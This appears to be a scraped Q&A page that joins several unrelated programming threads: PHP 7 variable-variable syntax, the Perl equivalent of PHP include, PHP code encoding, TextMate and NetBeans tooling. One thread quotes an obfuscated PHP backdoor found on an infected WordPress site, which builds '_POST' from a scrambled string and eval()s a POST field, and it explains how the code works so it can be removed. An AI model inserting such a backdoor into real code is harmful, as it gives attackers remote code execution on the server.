This question already has answers here:
Variable variables in classes using PHP 7
(2 answers)
Closed 1 year ago.
I'm trying to fix a friend's web site that needs to be updated to run on php7.2. It works fine on php5 but appears to crash with no errors when executing a command like this:
$$mod_name = &$$parent_array[$mod_parent]->addItem(new XNode($mod_name,$mod_url,"Images/doc.gif",false));
The weird variable reference like &$$ is not something I've seen before. Has this notation been depreciated in php7?
The code is using a library called xPandMenu. Here is the library:
https://www.phpclasses.org/package/2018-PHP-Generate-a-dynamic-hierarchic-menu.html
I reached out to the author of this code and he's not interested in updating it, and doesn't work with PHP much any more. I am not familiar with OOP and the odd variable/class references used.
Does anybody know what would cause this code to work fine in php5, but crash without error in php 7.2?
Here is the solution to this.
The way PHP7 parses double variable references is now different, according to this page:
https://www.php.net/manual/en/migration70.incompatible.php
So the proper re-writing of this:
&$$parent_array[$mod_parent]->addItem(new XNode($mod_name,$mod_url,"Images/doc.gif",false));
is:
&${$parent_array[$mod_parent]}->addItem(new XNode($mod_name,$mod_url,"Images/doc.gif",false));
Likewise a reference such as this in PHP5:
$$var['key'];
Behaves differently under PHP7 and must be hard-noted as this:
${$var['key']};
Related
This question already has answers here:
Is there any way to "auto-use" certain modules everytime I write a script?
(2 answers)
How can I export a list of modules with my own module?
(1 answer)
Closed 7 years ago.
In a PHP include, code is parsed as if it was written right into the source file. You get the same result as if you literally copy and pasted file A into file B.
I'm looking for a way to do this in Perl. The number of libraries I have to 'use' in every script is getting annoyingly large, and especially annoying is having to use v5.14 just so I can have the say function. I'm actually looking up how to alter the interpreter to always use the latest version of Perl at this moment, compatibility with the rest of the world be damned, but this won't solve the rest of my list of includes.
Edit: none of the linked answers answer the question.
The equivalent of PHP's include is do EXPR. There is also require EXPR, which is like require_once, and use, which will also call import on the package.
However that is probably not what you want. If you have a lot of .pl scripts without packages, you are dealing with legacy code. You need to be carefull what you require and include where.
This question already has an answer here:
What Does This PHP Code Do? [closed]
(1 answer)
Closed 7 years ago.
I have a wordpress site and it was infected with malware I think. I have found this bit of php code in my files
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q140b2c'])){eval(${$s20}['q140b2c']);}
What does it do?
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);
$s20 evaluates to _POST
if(isset(${$s20}['q140b2c'])){
eval(${$s20}['q140b2c']);
}
becomes
isset($_POST['q140b2c'])
eval then evaluates whatever is in that post
eval($_POST['q140b2c']);
I face same issue with one of my previous website hack. Same code as above. They are going to put code this code in .php file before start of PHP tag.
So it will hold the execution of PHP site.
To solve download all code & search in file & remove. Then your site works ok.
This question already has answers here:
encoding php scripts on fly [duplicate]
(4 answers)
Closed 9 months ago.
I have a PHP script,
for example
<?php
$name="Alfred";
echo $name;
?>
I used following script to encrypt,(by www.rightscripts.com/phpencode/index.php)
<?php
eval(gzinflate(str_rot13(base64_decode('encrypted code'))));
?>
But it only print "$name="Alfred";" and "Undefined variable $name".
What is the problem ? Is there any other solution ? Please help me ?
"Encoding" this way doesn't really protect you from anything.
The encoded PHP code is on the server, and so is the code that decodes it back to regular PHP.
If someone has sufficient access to your server that they can read your encoded PHP scripts, then it is almost certain that they also have sufficient access to read the decoder script. Which means your code isn't actually protected at all.
There are a number of obfuscators and encoders which can do what you want, but at the end of the day, all you're really doing to your code is slowing it down (eval() is a major performance killer, quite aside from its other issues).
A better solution might be to compile your code. There is a PHP compiler called HipHop which will do the trick for you. It's worth giving it a try.
Even with compiled code (in any language), it is still possible for someone who's determined to pull it apart and learn your secrets, but it'll be a lot harder than a simple encoded script, and also it should run faster than normal when compiled, compared with slower than normal when encoded, so you win both ways.
I can't seem to get this to work..
http://wiki.macromates.com/Main/Howtos#PHPProjectFunctions
looks like there are missing settings, or I need to create the .tmCommand manually, which I don't even know where to start with..
anyone have a .tmCommand that will do this?
basically I am trying to access the classes and functions of my project when working in PHP in TextMate.
The posted link seems to refer to an older version of TextMate. However, you could try a ctags-based solution instead, e.g. TM Ctags.
This question already has answers here:
Closed 12 years ago.
Possible Duplicate:
Variable type hinting in Netbeans (PHP)
/EDIT
In php frameworks, in the views, $this refers to the controller object. But netbeans doesn't know this (I am guessing neither do other IDEs), so when I hit Ctrl + Space, the code completion doesnt work (says No Sugestions).
Is there some trick, or phpdoc directive that can tell the IDE the types of a variable that isn't declared in the current file (and there is no "include" or require_once either, because the php framework takes care of that by convention, so no explicit include is made).
Also in php frameworks there are other variables besides $this in the view.php files, but putting on the top of the file a php doc for them doesn't seem to do anything either.
Eclipse has method discovery, you should look into the PHP specialised versions of that - something like Aptana, or Zend Studio.